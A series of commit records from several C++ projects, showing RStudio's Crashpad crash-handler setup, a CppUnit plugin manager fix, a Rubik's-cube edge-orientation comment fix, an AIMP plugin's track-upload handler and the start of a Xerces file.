ConfigSource::Default;\n}\n\nbool isHandlerEnabled()\n{\n return s_settings->getBool(kCrashHandlingEnabled, kCrashHandlingEnabledDefault);\n}\n\nError setUserHandlerEnabled(bool handlerEnabled)\n{\n ConfigSource source = configSource();\n\n if (source == ConfigSource::Admin)\n {\n \/\/ the admin setting is in effect so there's nothing to change\n return Success();\n }\n\n if (source == ConfigSource::Default)\n {\n FilePath userFile = userConfFile();\n Error error = userFile.ensureFile();\n if (error)\n return error;\n\n Settings settings;\n error = settings.initialize(userFile);\n if (error)\n return error;\n\n settings.set(kCrashHandlingEnabled, handlerEnabled);\n }\n else\n {\n \/\/ we already have the user file open - simply update the settings directly\n s_settings->set(kCrashHandlingEnabled, handlerEnabled);\n }\n\n return Success();\n}\n\nbool hasUserBeenPromptedForPermission()\n{\n if (!permissionFile().exists())\n {\n \/\/ if for some reason the parent directory is not writeable\n \/\/ we will just treat the user as if they have been prompted\n \/\/ to prevent indefinite repeated promptings\n if (!file_utils::isDirectoryWriteable(permissionFile().parent()))\n return true;\n else\n return false;\n }\n else\n return true;\n}\n\nError setUserHasBeenPromptedForPermission()\n{\n return permissionFile().ensureFile();\n}\n\n} \/\/ namespace crash_handler\n} \/\/ namespace core\n} \/\/ namespace rstudio\n\n#endif\n<commit_msg>Fix broken build<commit_after>\/*\n * CrashHandler.cpp\n *\n * Copyright (C) 2019 by RStudio, Inc.\n *\n * Unless you have received this program directly from RStudio pursuant\n * to the terms of a commercial license agreement with RStudio, then\n * this program is licensed to you under the terms of version 3 of the\n * GNU Affero General Public License. This program is distributed WITHOUT\n * ANY EXPRESS OR IMPLIED WARRANTY, INCLUDING THOSE OF NON-INFRINGEMENT,\n * MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. Please refer to the\n * AGPL (http:\/\/www.gnu.org\/licenses\/agpl-3.0.txt) for more details.\n *\n *\/\n\n#include <core\/CrashHandler.hpp>\n\n#include <sstream>\n\n#include <core\/FileUtils.hpp>\n#include <core\/Settings.hpp>\n#include <core\/StringUtils.hpp>\n#include <core\/system\/System.hpp>\n#include <core\/system\/Environment.hpp>\n\n#ifndef _WIN32\n#include <core\/system\/FileMode.hpp>\n#endif\n\n#include \"config.h\"\n\n#ifndef RSTUDIO_CRASHPAD_ENABLED\nnamespace rstudio {\nnamespace core {\nnamespace crash_handler {\n\nError initialize(ProgramMode programMode)\n{\n return Success();\n}\n\nConfigSource configSource()\n{\n return ConfigSource::Default;\n}\n\nbool isHandlerEnabled()\n{\n return false;\n}\n\nError setUserHandlerEnabled(bool)\n{\n return Success();\n}\n\nbool hasUserBeenPromptedForPermission()\n{\n return true;\n}\n\nError setUserHasBeenPromptedForPermission()\n{\n return Success();\n}\n\n} \/\/ namespace crash_handler\n} \/\/ namespace core\n} \/\/ namespace rstudio\n#else\n\n#include <crashpad\/client\/crashpad_client.h>\n#include <crashpad\/client\/crash_report_database.h>\n#include <crashpad\/client\/settings.h>\n\n#define kCrashHandlingEnabled \"crash-handling-enabled\"\n#define kCrashHandlingEnabledDefault false\n#define kCrashDatabasePath \"crash-db-path\"\n#define kCrashDatabasePathDefault \"\"\n#define kUploadUrl \"upload-url\"\n#define kUploadUrlDefault \"https:\/\/sentry.io\/api\/1379214\/minidump\/?sentry_key=4e76b8d2cffb49419fec1b431e09247c\"\n#define kUploadDumps \"uploads-enabled\"\n#define kUploadDumpsDefault true\n#define kUploadProxy \"upload-proxy\"\n#define kUploadProxyDefault \"\"\n\nnamespace rstudio {\nnamespace core {\nnamespace crash_handler {\n\nnamespace {\n\nboost::shared_ptr<crashpad::CrashpadClient> s_crashpadClient;\nboost::shared_ptr<Settings> s_settings;\nProgramMode s_programMode;\n\nFilePath adminConfFile()\n{\n#ifndef _WIN32\n return FilePath(\"\/etc\/rstudio\/crash-handler.conf\");\n#else\n return core::system::systemSettingsPath(\"RStudio\", false).complete(\"crash-handler.conf\");\n#endif\n}\n\nFilePath userConfFile()\n{\n return core::system::userSettingsPath(core::system::userHomePath(),\n \"R\",\n false).complete(\"crash-handler.conf\");\n}\n\nvoid readOptions()\n{\n s_settings.reset(new Settings());\n\n FilePath optionsFile = adminConfFile();\n\n if (s_programMode == ProgramMode::Desktop && !optionsFile.exists())\n {\n \/\/ admin-level file does not exist - check for existence of user file\n \/\/ this is only done for desktop mode, as only the admin file should be\n \/\/ respected in server mode\n optionsFile = userConfFile();\n\n \/\/ if the user options file does not explicitly exist, we will forcefully create it\n \/\/ this is to ensure that there is an actual file backing for the settings\n \/\/ as multiple user clients can update it simultaneously, so we need to have it\n \/\/ backed to file as opposed to just hanging around in memory so that all clients\n \/\/ can properly see the state at all times\n if (!optionsFile.exists())\n {\n Error error = optionsFile.ensureFile();\n if (error)\n LOG_ERROR(error);\n }\n }\n\n if (optionsFile.exists())\n {\n Error error = s_settings->initialize(optionsFile);\n if (error)\n LOG_ERROR(error);\n }\n}\n\nbase::FilePath googleFilePath(const std::string& str)\n{\n#ifdef _WIN32\n std::string utf8Str = core::string_utils::systemToUtf8(str);\n std::wstring wideStr = core::string_utils::utf8ToWide(utf8Str);\n return base::FilePath(wideStr);\n#else\n return base::FilePath(str);\n#endif\n}\n\nvoid logClientCreation(const base::FilePath& handlerPath,\n const base::FilePath& databasePath,\n const std::string& uploadUrl)\n{\n#ifdef _WIN32\n std::wstringstream msg;\n std::wstring uploadUrlStr = core::string_utils::utf8ToWide(uploadUrl);\n#else\n std::stringstream msg;\n const std::string& uploadUrlStr = uploadUrl;\n#endif\n\n msg << \"Initializing crashpad client:\" <<\n \" handlerPath=\" << handlerPath.value() <<\n \" databasePath=\" << databasePath.value() <<\n \" uploadUrl=\" << uploadUrlStr;\n\n#ifdef _WIN32\n std::string message = core::string_utils::wideToUtf8(msg.str());\n#else\n std::string message = msg.str();\n#endif\n\n LOG_INFO_MESSAGE(message);\n}\n\nFilePath permissionFile()\n{\n return core::system::userSettingsPath(core::system::userHomePath(),\n \"R\",\n false).complete(\"crash-handler-permission\");\n}\n\n} \/\/ anonymous namespace\n\nError initialize(ProgramMode programMode)\n{\n#ifndef RSTUDIO_CRASHPAD_ENABLED\n return Success();\n#endif\n s_programMode = programMode;\n\n readOptions();\n\n \/\/ if crash handling is explicitly disabled, exit out\n bool crashHandlingEnabled = s_settings->getBool(kCrashHandlingEnabled, kCrashHandlingEnabledDefault);\n if (!crashHandlingEnabled)\n return Success();\n\n \/\/ get the path to the crashpad database\n std::string databasePathStr = s_settings->get(kCrashDatabasePath, kCrashDatabasePathDefault);\n if (databasePathStr.empty())\n {\n#ifdef RSTUDIO_SERVER\n if (s_programMode == ProgramMode::Server)\n {\n \/\/ server mode - default database path to default tmp location\n FilePath tmpPath;\n Error error = FilePath::tempFilePath(&tmpPath);\n if (error)\n return error;\n\n FilePath databasePath = tmpPath.parent().childPath(\"crashpad_database\");\n\n \/\/ ensure that the database path exists\n error = databasePath.ensureDirectory();\n if (error)\n return error;\n\n \/\/ ensure that it is writeable by all users\n \/\/ this is best case and we swallow the error because it is legitimately possible we\n \/\/ lack the permissions to perform this (such as if we are an unprivileged rsession user)\n core::system::changeFileMode(databasePath, core::system::EveryoneReadWriteExecuteMode);\n\n databasePathStr = databasePath.absolutePath();\n }\n else\n {\n \/\/ desktop mode - default database path to user settings path\n databasePathStr = core::system::userSettingsPath(core::system::userHomePath(),\n \"R\",\n true).childPath(\"crashpad_database\").absolutePath();\n }\n#else\n \/\/ desktop mode - default database path to user settings path\n databasePathStr = core::system::userSettingsPath(core::system::userHomePath(),\n \"R\",\n true).childPath(\"crashpad_database\").absolutePath();\n#endif\n }\n base::FilePath databasePath = googleFilePath(databasePathStr);\n\n \/\/ determine if dumps should be uploaded automatically\n std::string uploadUrl = s_settings->get(kUploadUrl, kUploadUrlDefault);\n bool uploadDumps = s_settings->getBool(kUploadDumps, kUploadDumpsDefault) && !uploadUrl.empty();\n\n \/\/ get the path to the crashpad handler\n FilePath exePath;\n Error error = core::system::executablePath(nullptr, &exePath);\n if (error)\n return error;\n\n \/\/ get the path for the crash handler - this may be overridden via env var\n \/\/ for supporting development setups\n base::FilePath handlerPath;\n std::string crashHandlerPathEnv = core::system::getenv(kCrashHandlerEnvVar);\n if (!crashHandlerPathEnv.empty())\n {\n handlerPath = googleFilePath(crashHandlerPathEnv);\n }\n else\n {\n #ifndef _WIN32\n \/\/ for server, we use the crash handler proxy to ensure that the crashpad handler\n \/\/ is run with the correct permissions (otherwise ptrace will not work if setuid is used)\n #ifdef RSTUDIO_SERVER\n if (s_programMode == ProgramMode::Server)\n handlerPath = googleFilePath(exePath.parent().childPath(\"crash-handler-proxy\").absolutePath());\n else\n handlerPath = googleFilePath(exePath.parent().childPath(\"crashpad_handler\").absolutePath());\n #else\n handlerPath = googleFilePath(exePath.parent().childPath(\"crashpad_handler\").absolutePath());\n #endif\n #else\n handlerPath = googleFilePath(exePath.parent().childPath(\"crashpad_handler.exe\").absolutePath());\n#endif\n }\n\n \/\/ open the crashpad database\n std::unique_ptr<crashpad::CrashReportDatabase> pDatabase =\n crashpad::CrashReportDatabase::Initialize(databasePath);\n\n \/\/ in server mode, attempt to give full access to the entire database for all users\n \/\/ this is necessary so unprivileged processes can write crash dumps properly\n \/\/ again, we swallow the errors here because unprivileged processes cannot change permissions\n#ifdef RSTUDIO_SERVER\n if (s_programMode == ProgramMode::Server)\n {\n std::vector<FilePath> dbFolders;\n FilePath(databasePathStr).children(&dbFolders);\n for (const FilePath& subPath : dbFolders)\n core::system::changeFileMode(subPath, core::system::EveryoneReadWriteExecuteMode);\n }\n#endif\n\n \/\/ ensure database is properly initialized\n if (pDatabase != nullptr && pDatabase->GetSettings() != nullptr)\n pDatabase->GetSettings()->SetUploadsEnabled(uploadDumps);\n else\n return systemError(boost::system::errc::no_such_file_or_directory, ERROR_LOCATION);\n\n logClientCreation(handlerPath, databasePath, uploadUrl);\n\n \/\/ initialize and start crashpad client\n s_crashpadClient.reset(new crashpad::CrashpadClient());\n std::map<std::string, std::string> annotations;\n annotations[\"sentry[release]\"] = RSTUDIO_VERSION;\n std::vector<std::string> args {\"--no-rate-limit\"};\n\n#ifdef __linux__\n \/\/ export proxy environment variable if set\n \/\/ if not set, the default (system-wide setting) or any existing proxy env var is used instead\n \/\/ see https:\/\/curl.haxx.se\/libcurl\/c\/CURLOPT_PROXY.html for more info\n std::string proxy = s_settings->get(kUploadProxy, kUploadProxyDefault);\n if (!proxy.empty())\n core::system::setenv(\"ALL_PROXY\", proxy);\n\n bool success = s_crashpadClient->StartHandlerAtCrash(handlerPath,\n databasePath,\n base::FilePath(),\n uploadUrl,\n annotations,\n args);\n#else\n bool success = s_crashpadClient->StartHandler(handlerPath,\n databasePath,\n base::FilePath(),\n uploadUrl,\n annotations,\n args,\n true,\n false);\n\n#endif\n\n return success ? Success() : systemError(boost::system::errc::invalid_argument, ERROR_LOCATION);\n}\n\nConfigSource configSource()\n{\n FilePath settingsPath = s_settings->filePath();\n if (settingsPath.empty())\n return ConfigSource::Default;\n\n if (settingsPath == adminConfFile())\n return ConfigSource::Admin;\n else if (settingsPath == userConfFile())\n return ConfigSource::User;\n else\n return ConfigSource::Default;\n}\n\nbool isHandlerEnabled()\n{\n return s_settings->getBool(kCrashHandlingEnabled, kCrashHandlingEnabledDefault);\n}\n\nError setUserHandlerEnabled(bool handlerEnabled)\n{\n ConfigSource source = configSource();\n\n if (source == ConfigSource::Admin)\n {\n \/\/ the admin setting is in effect so there's nothing to change\n return Success();\n }\n\n if (source == ConfigSource::Default)\n {\n FilePath userFile = userConfFile();\n Error error = userFile.ensureFile();\n if (error)\n return error;\n\n Settings settings;\n error = settings.initialize(userFile);\n if (error)\n return error;\n\n settings.set(kCrashHandlingEnabled, handlerEnabled);\n }\n else\n {\n \/\/ we already have the user file open - simply update the settings directly\n s_settings->set(kCrashHandlingEnabled, handlerEnabled);\n }\n\n return Success();\n}\n\nbool hasUserBeenPromptedForPermission()\n{\n if (!permissionFile().exists())\n {\n \/\/ if for some reason the parent directory is not writeable\n \/\/ we will just treat the user as if they have been prompted\n \/\/ to prevent indefinite repeated promptings\n if (!file_utils::isDirectoryWriteable(permissionFile().parent()))\n return true;\n else\n return false;\n }\n else\n return true;\n}\n\nError setUserHasBeenPromptedForPermission()\n{\n return permissionFile().ensureFile();\n}\n\n} \/\/ namespace crash_handler\n} \/\/ namespace core\n} \/\/ namespace rstudio\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>#include <cppunit\/XmlOutputterHook.h>\n\n#if !defined(CPPUNIT_NO_TESTPLUGIN)\n#include <cppunit\/extensions\/TestFactoryRegistry.h>\n#include <cppunit\/plugin\/PlugInManager.h>\n#include <cppunit\/plugin\/TestPlugIn.h>\n#include <cppunit\/plugin\/DynamicLibraryManager.h>\n\n\nCPPUNIT_NS_BEGIN\n\n\nPlugInManager::PlugInManager()\n{\n}\n\n\nPlugInManager::~PlugInManager()\n{\n for ( PlugIns::iterator it = m_plugIns.begin(); it != m_plugIns.end(); ++it )\n unload( *it );\n}\n\n\nvoid\nPlugInManager::load( const std::string &libraryFileName,\n const PlugInParameters ¶meters )\n{\n PlugInInfo info;\n info.m_fileName = libraryFileName;\n info.m_manager = new DynamicLibraryManager( libraryFileName );\n\n TestPlugInSignature plug = (TestPlugInSignature)info.m_manager->findSymbol( \n CPPUNIT_STRINGIZE( CPPUNIT_PLUGIN_EXPORTED_NAME ) );\n info.m_interface = (*plug)();\n\n m_plugIns.push_back( info );\n \n info.m_interface->initialize( &TestFactoryRegistry::getRegistry(), parameters );\n}\n\n\nvoid \nPlugInManager::unload( const std::string &libraryFileName )\n{\n for ( PlugIns::iterator it = m_plugIns.begin(); it != m_plugIns.end(); ++it )\n {\n if ( it->m_fileName == libraryFileName )\n {\n unload( *it );\n m_plugIns.erase( it );\n break;\n }\n }\n}\n\n\nvoid \nPlugInManager::addListener( TestResult *eventManager )\n{\n for ( PlugIns::iterator it = m_plugIns.begin(); it != m_plugIns.end(); ++it )\n it->m_interface->addListener( eventManager );\n}\n\n\nvoid \nPlugInManager::removeListener( TestResult *eventManager )\n{\n for ( PlugIns::iterator it = m_plugIns.begin(); it != m_plugIns.end(); ++it )\n it->m_interface->removeListener( eventManager );\n}\n\n\nvoid \nPlugInManager::unload( PlugInInfo &plugIn )\n{\n try\n {\n plugIn.m_interface->uninitialize( &TestFactoryRegistry::getRegistry() );\n delete plugIn.m_manager;\n }\n catch (...)\n {\n delete plugIn.m_manager;\n plugIn.m_manager = NULL;\n throw;\n }\n}\n\n\nvoid \nPlugInManager::addXmlOutputterHooks( XmlOutputter *outputter )\n{\n for ( PlugIns::iterator it = m_plugIns.begin(); it != m_plugIns.end(); ++it )\n it->m_interface->addXmlOutputterHooks( outputter );\n}\n\n\nvoid \nPlugInManager::removeXmlOutputterHooks()\n{\n for ( PlugIns::iterator it = m_plugIns.begin(); it != m_plugIns.end(); ++it )\n it->m_interface->removeXmlOutputterHooks();\n}\n\n\nCPPUNIT_NS_END\n\n#endif \/\/ !defined(CPPUNIT_NO_TESTPLUGIN)\n<commit_msg>dereferencing fix for SUN4<commit_after>#include <cppunit\/XmlOutputterHook.h>\n\n#if !defined(CPPUNIT_NO_TESTPLUGIN)\n#include <cppunit\/extensions\/TestFactoryRegistry.h>\n#include <cppunit\/plugin\/PlugInManager.h>\n#include <cppunit\/plugin\/TestPlugIn.h>\n#include <cppunit\/plugin\/DynamicLibraryManager.h>\n\n\nCPPUNIT_NS_BEGIN\n\n\nPlugInManager::PlugInManager()\n{\n}\n\n\nPlugInManager::~PlugInManager()\n{\n for ( PlugIns::iterator it = m_plugIns.begin(); it != m_plugIns.end(); ++it )\n unload( *it );\n}\n\n\nvoid\nPlugInManager::load( const std::string &libraryFileName,\n const PlugInParameters ¶meters )\n{\n PlugInInfo info;\n info.m_fileName = libraryFileName;\n info.m_manager = new DynamicLibraryManager( libraryFileName );\n\n TestPlugInSignature plug = (TestPlugInSignature)info.m_manager->findSymbol( \n CPPUNIT_STRINGIZE( CPPUNIT_PLUGIN_EXPORTED_NAME ) );\n info.m_interface = (*plug)();\n\n m_plugIns.push_back( info );\n \n info.m_interface->initialize( &TestFactoryRegistry::getRegistry(), parameters );\n}\n\n\nvoid \nPlugInManager::unload( const std::string &libraryFileName )\n{\n for ( PlugIns::iterator it = m_plugIns.begin(); it != m_plugIns.end(); ++it )\n {\n if ( (*it).m_fileName == libraryFileName )\n {\n unload( *it );\n m_plugIns.erase( it );\n break;\n }\n }\n}\n\n\nvoid \nPlugInManager::addListener( TestResult *eventManager )\n{\n for ( PlugIns::iterator it = m_plugIns.begin(); it != m_plugIns.end(); ++it )\n (*it).m_interface->addListener( eventManager );\n}\n\n\nvoid \nPlugInManager::removeListener( TestResult *eventManager )\n{\n for ( PlugIns::iterator it = m_plugIns.begin(); it != m_plugIns.end(); ++it )\n (*it).m_interface->removeListener( eventManager );\n}\n\n\nvoid \nPlugInManager::unload( PlugInInfo &plugIn )\n{\n try\n {\n plugIn.m_interface->uninitialize( &TestFactoryRegistry::getRegistry() );\n delete plugIn.m_manager;\n }\n catch (...)\n {\n delete plugIn.m_manager;\n plugIn.m_manager = NULL;\n throw;\n }\n}\n\n\nvoid \nPlugInManager::addXmlOutputterHooks( XmlOutputter *outputter )\n{\n for ( PlugIns::iterator it = m_plugIns.begin(); it != m_plugIns.end(); ++it )\n (*it).m_interface->addXmlOutputterHooks( outputter );\n}\n\n\nvoid \nPlugInManager::removeXmlOutputterHooks()\n{\n for ( PlugIns::iterator it = m_plugIns.begin(); it != m_plugIns.end(); ++it )\n (*it).m_interface->removeXmlOutputterHooks();\n}\n\n\nCPPUNIT_NS_END\n\n#endif \/\/ !defined(CPPUNIT_NO_TESTPLUGIN)\n<|endoftext|>"} {"text":"<commit_before>#include \"edge_orientation.h\"\n#include \"indexing.h\"\n\n\nvoid EdgeOrientation::index_to_array(int index, vector<int> & arr)\n{\n Indexing::index_to_orientation_dependent(index, arr, 2);\n}\n\nvoid EdgeOrientation::apply_move(vector<int> & arr, int move)\n{\n if (move == 0)\n {\n permute_array(arr, 0, 3, 2, 1, 0); \/\/ U\n }\n else if (move == 1)\n {\n permute_array(arr, 8, 9, 10, 11, 0); \/\/ D\n }\n else if (move == 2)\n {\n permute_array(arr, 1, 6, 9, 5, 0); \/\/ R\n }\n else if (move == 3)\n {\n permute_array(arr, 3, 4, 11, 7, 0); \/\/ L\n }\n else if (move == 4)\n {\n permute_array(arr, 2, 7, 10, 6, 1); \/\/ F\n }\n else if (move == 5)\n {\n permute_array(arr, 0, 5, 8, 4, 1); \/\/ F\n }\n}\n\nint EdgeOrientation::array_to_index(vector<int> const& arr)\n{\n return Indexing::orientation_to_index_dependent(arr, 2);\n}\n\nvoid EdgeOrientation::permute_array(vector<int> & arr, int idx1, int idx2, int idx3, int idx4, int increment)\n{\n int tmp = arr[idx1];\n arr[idx1] = (arr[idx2] + increment) % 2;\n arr[idx2] = (arr[idx3] + increment) % 2;\n arr[idx3] = (arr[idx4] + increment) % 2;\n arr[idx4] = (tmp + increment) % 2;\n}\n<commit_msg>Fix naming from F to B<commit_after>#include \"edge_orientation.h\"\n#include \"indexing.h\"\n\n\nvoid EdgeOrientation::index_to_array(int index, vector<int> & arr)\n{\n Indexing::index_to_orientation_dependent(index, arr, 2);\n}\n\nvoid EdgeOrientation::apply_move(vector<int> & arr, int move)\n{\n if (move == 0)\n {\n permute_array(arr, 0, 3, 2, 1, 0); \/\/ U\n }\n else if (move == 1)\n {\n permute_array(arr, 8, 9, 10, 11, 0); \/\/ D\n }\n else if (move == 2)\n {\n permute_array(arr, 1, 6, 9, 5, 0); \/\/ R\n }\n else if (move == 3)\n {\n permute_array(arr, 3, 4, 11, 7, 0); \/\/ L\n }\n else if (move == 4)\n {\n permute_array(arr, 2, 7, 10, 6, 1); \/\/ F\n }\n else if (move == 5)\n {\n permute_array(arr, 0, 5, 8, 4, 1); \/\/ B\n }\n}\n\nint EdgeOrientation::array_to_index(vector<int> const& arr)\n{\n return Indexing::orientation_to_index_dependent(arr, 2);\n}\n\nvoid EdgeOrientation::permute_array(vector<int> & arr, int idx1, int idx2, int idx3, int idx4, int increment)\n{\n int tmp = arr[idx1];\n arr[idx1] = (arr[idx2] + increment) % 2;\n arr[idx2] = (arr[idx3] + increment) % 2;\n arr[idx3] = (arr[idx4] + increment) % 2;\n arr[idx4] = (tmp + increment) % 2;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2013, Alexey Ivanov\r\n\r\n#include \"stdafx.h\"\r\n#include \"request_handler.h\"\r\n#include \"..\/aimp\/manager.h\"\r\n#include \"..\/aimp\/manager_impl_common.h\"\r\n#include \"..\/http_server\/reply.h\"\r\n#include \"..\/http_server\/request.h\"\r\n#include \"..\/http_server\/mime_types.h\"\r\n\r\n#include \"utils\/string_encoding.h\"\r\n#include \"utils\/util.h\"\r\n\r\nnamespace UploadTrack\r\n{\r\n\r\nusing namespace AIMPPlayer;\r\nusing namespace std;\r\n\r\nnamespace fs = boost::filesystem;\r\n\r\nconst wchar_t * const kPlaylistTitle = L\"Control plugin\";\r\n\r\nvoid fill_reply_disabled(Http::Reply& rep);\r\n\r\nbool RequestHandler::handle_request(const Http::Request& req, Http::Reply& rep)\r\n{\r\n using namespace Http;\r\n\r\n if (!enabled_) {\r\n fill_reply_disabled(rep);\n return true;\r\n }\r\n\r\n try {\r\n for (auto field_it : req.mpfd_parser.GetFieldsMap()) {\r\n const MPFD::Field& field_const = *field_it.second;\r\n MPFD::Field& field = const_cast<MPFD::Field&>(field_const);\r\n\r\n const std::string filename = field.GetFileName();\r\n const fs::wpath path = temp_dir_ \/ filename;\r\n\r\n { \/\/ save to temp dir.\r\n std::ofstream out(path.native(), std::ios_base::out | std::ios_base::binary);\r\n out.write(field.GetFileContent(), field.GetFileContentSize());\r\n out.close();\r\n }\r\n \r\n aimp_manager_.addFileToPlaylist(path, getTargetPlaylist());\r\n\r\n \/\/ we should not erase file since AIMP will use it.\r\n \/\/fs::remove(path);\r\n }\r\n rep = Reply::stock_reply(Reply::ok);\r\n } catch (MPFD::Exception&) {\r\n rep = Reply::stock_reply(Reply::bad_request);\r\n } catch (std::exception&) {\r\n rep = Reply::stock_reply(Reply::forbidden);\r\n }\r\n return true;\r\n}\r\n\r\nvoid fill_reply_disabled(Http::Reply& rep)\r\n{\n rep.status = Http::Reply::forbidden;\n rep.content = \"403 Forbidden<br\/> Track upload is disabled in Control plugin settings.\";\n rep.headers.resize(2);\n rep.headers[0].name = \"Content-Length\";\n rep.headers[0].value = boost::lexical_cast<std::string>(rep.content.size());\n rep.headers[1].name = \"Content-Type\";\n rep.headers[1].value = \"text\/html\";\r\n}\r\n\r\nbool getPlaylistByTitle(sqlite3* db, const char* title, PlaylistID* playlist_id);\r\n\r\nint RequestHandler::getTargetPlaylist()\r\n{\r\n if (!target_playlist_id_created_) {\r\n if (!getPlaylistByTitle(getPlaylistsDB(aimp_manager_),\r\n StringEncoding::utf16_to_utf8(kPlaylistTitle).c_str(),\r\n &target_playlist_id_)\r\n )\r\n {\r\n target_playlist_id_ = aimp_manager_.createPlaylist(kPlaylistTitle);\r\n }\r\n \r\n target_playlist_id_created_ = true;\r\n }\r\n return target_playlist_id_;\r\n}\r\n\r\nbool getPlaylistByTitle(sqlite3* db, const char* title, PlaylistID* playlist_id)\r\n{\r\n using namespace Utilities;\r\n\r\n std::ostringstream query;\r\n\r\n query << \"SELECT id FROM Playlists WHERE title = ?\";\r\n\r\n sqlite3_stmt* stmt = createStmt( db, query.str() );\r\n ON_BLOCK_EXIT(&sqlite3_finalize, stmt);\r\n\r\n int rc_db = sqlite3_bind_text(stmt, 1, title, strlen(title), SQLITE_STATIC);\r\n if (SQLITE_OK != rc_db) {\r\n const std::string msg = MakeString() << \"sqlite3_bind_text16() error \" << rc_db;\r\n throw std::runtime_error(msg);\r\n }\r\n\r\n for(;;) {\r\n\t\trc_db = sqlite3_step(stmt);\r\n if (SQLITE_ROW == rc_db) {\r\n assert(sqlite3_column_count(stmt) == 1);\r\n if (playlist_id) {\r\n *playlist_id = sqlite3_column_int(stmt, 0);\r\n }\r\n return true;\r\n } else if (SQLITE_DONE == rc_db) {\r\n break;\r\n } else {\r\n const std::string msg = MakeString() << \"sqlite3_step() error \"\r\n << rc_db << \": \" << sqlite3_errmsg(db)\r\n << \". Query: \" << query.str();\r\n throw std::runtime_error(msg);\r\n\t\t}\r\n }\r\n\r\n return false;\r\n}\r\n\r\n} \/\/ namespace UploadTrack\r\n<commit_msg>add ability to specify playlist to upload track to.<commit_after>\/\/ Copyright (c) 2013, Alexey Ivanov\r\n\r\n#include \"stdafx.h\"\r\n#include \"request_handler.h\"\r\n#include \"..\/aimp\/manager.h\"\r\n#include \"..\/aimp\/manager_impl_common.h\"\r\n#include \"..\/http_server\/reply.h\"\r\n#include \"..\/http_server\/request.h\"\r\n#include \"..\/http_server\/mime_types.h\"\r\n\r\n#include \"utils\/string_encoding.h\"\r\n#include \"utils\/util.h\"\r\n\r\nnamespace UploadTrack\r\n{\r\n\r\nusing namespace AIMPPlayer;\r\nusing namespace std;\r\n\r\nnamespace fs = boost::filesystem;\r\n\r\nvoid fill_reply_disabled(Http::Reply& rep);\r\nPlaylistID getPlaylistID(const std::string& uri);\r\n\r\nconst std::string kPlaylistIDTag(\"\/playlist_id\/\");\r\n\r\nbool RequestHandler::handle_request(const Http::Request& req, Http::Reply& rep)\r\n{\r\n using namespace Http;\r\n\r\n if (!enabled_) {\r\n fill_reply_disabled(rep);\n return true;\r\n }\r\n\r\n try {\r\n const PlaylistID playlist_id = getPlaylistID(req.uri);\r\n\r\n for (auto field_it : req.mpfd_parser.GetFieldsMap()) {\r\n \r\n \r\n const MPFD::Field& field_const = *field_it.second;\r\n MPFD::Field& field = const_cast<MPFD::Field&>(field_const);\r\n\r\n const std::string filename = field.GetFileName();\r\n const fs::wpath path = temp_dir_ \/ filename;\r\n\r\n { \/\/ save to temp dir.\r\n std::ofstream out(path.native(), std::ios_base::out | std::ios_base::binary);\r\n out.write(field.GetFileContent(), field.GetFileContentSize());\r\n out.close();\r\n }\r\n \r\n aimp_manager_.addFileToPlaylist(path, playlist_id);\r\n\r\n \/\/ we should not erase file since AIMP will use it.\r\n \/\/fs::remove(path);\r\n }\r\n rep = Reply::stock_reply(Reply::ok);\r\n } catch (MPFD::Exception&) {\r\n rep = Reply::stock_reply(Reply::bad_request);\r\n } catch (std::exception&) {\r\n rep = Reply::stock_reply(Reply::forbidden);\r\n }\r\n return true;\r\n}\r\n\r\nvoid fill_reply_disabled(Http::Reply& rep)\r\n{\n rep.status = Http::Reply::forbidden;\n rep.content = \"403 Forbidden<br\/> Track upload is disabled in Control plugin settings.\";\n rep.headers.resize(2);\n rep.headers[0].name = \"Content-Length\";\n rep.headers[0].value = boost::lexical_cast<std::string>(rep.content.size());\n rep.headers[1].name = \"Content-Type\";\n rep.headers[1].value = \"text\/html\";\r\n}\r\n\r\nPlaylistID getPlaylistID(const std::string& uri)\r\n{ \r\n size_t start_index = uri.find(kPlaylistIDTag);\r\n if (start_index == string::npos) {\r\n throw std::runtime_error(\"can't find playlist id tag in uri\");\r\n }\r\n start_index += kPlaylistIDTag.length();\r\n const string id(uri.c_str(), start_index, uri.length() - start_index);\r\n const PlaylistID playlist_id = boost::lexical_cast<PlaylistID>(id);\r\n return playlist_id;\r\n}\r\n\r\n} \/\/ namespace UploadTrack\r\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Licensed to the Apache Software Foundation (ASF) under one or more\n * contributor license agreements. See the NOTICE file distributed with\n * this work for additional information regarding copyright ownership.\n * The ASF licenses this file to You under the Apache License, Version 2.0\n * (the \"License\"); you may not use this file except in compliance with\n * the License. You may obtain a copy of the License at\n * \n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\/*\n * $Id$\n *\/\n\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ Includes\n\/\/ ---------------------------------------------------------------------------\n#include <xercesc\/framework\/XMLBuffer.hpp>\n#include <xercesc\/validators\/common\/ContentSpecNode.hpp>\n#include <xercesc\/validators\/schema\/SchemaSymbols.hpp>\n#include <xercesc\/util\/ValueStackOf.hpp>\n\nXERCES_CPP_NAMESPACE_BEGIN\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ ContentSpecNode: Copy Constructor\n\/\/\n\/\/ Note: this copy constructor has dependency on various get*() methods\n\/\/ and shall be placed after those method's declaration.\n\/\/ aka inline function compilation error on AIX 4.2, xlC 3 r ev.1\n\/\/ ---------------------------------------------------------------------------\n\nContentSpecNode::ContentSpecNode(const ContentSpecNode& toCopy) :\n XSerializable(toCopy)\n , XMemory(toCopy)\n , fMemoryManager(toCopy.fMemoryManager)\n , fElement(0)\n , fElementDecl(toCopy.fElementDecl)\n , fFirst(0)\n , fSecond(0)\n , fType(toCopy.fType)\n , fAdoptFirst(true)\n , fAdoptSecond(true)\n , fMinOccurs(toCopy.fMinOccurs)\n , fMaxOccurs(toCopy.fMaxOccurs)\n{\n const QName* tempElement = toCopy.getElement();\n if (tempElement)\n fElement = new (fMemoryManager) QName(*tempElement);\n\n const ContentSpecNode *tmp = toCopy.getFirst();\n if (tmp)\n fFirst = new (fMemoryManager) ContentSpecNode(*tmp);\n\n tmp = toCopy.getSecond();\n if (tmp)\n fSecond = new (fMemoryManager) ContentSpecNode(*tmp);\n}\n\nContentSpecNode::~ContentSpecNode()\n{\n \/\/ 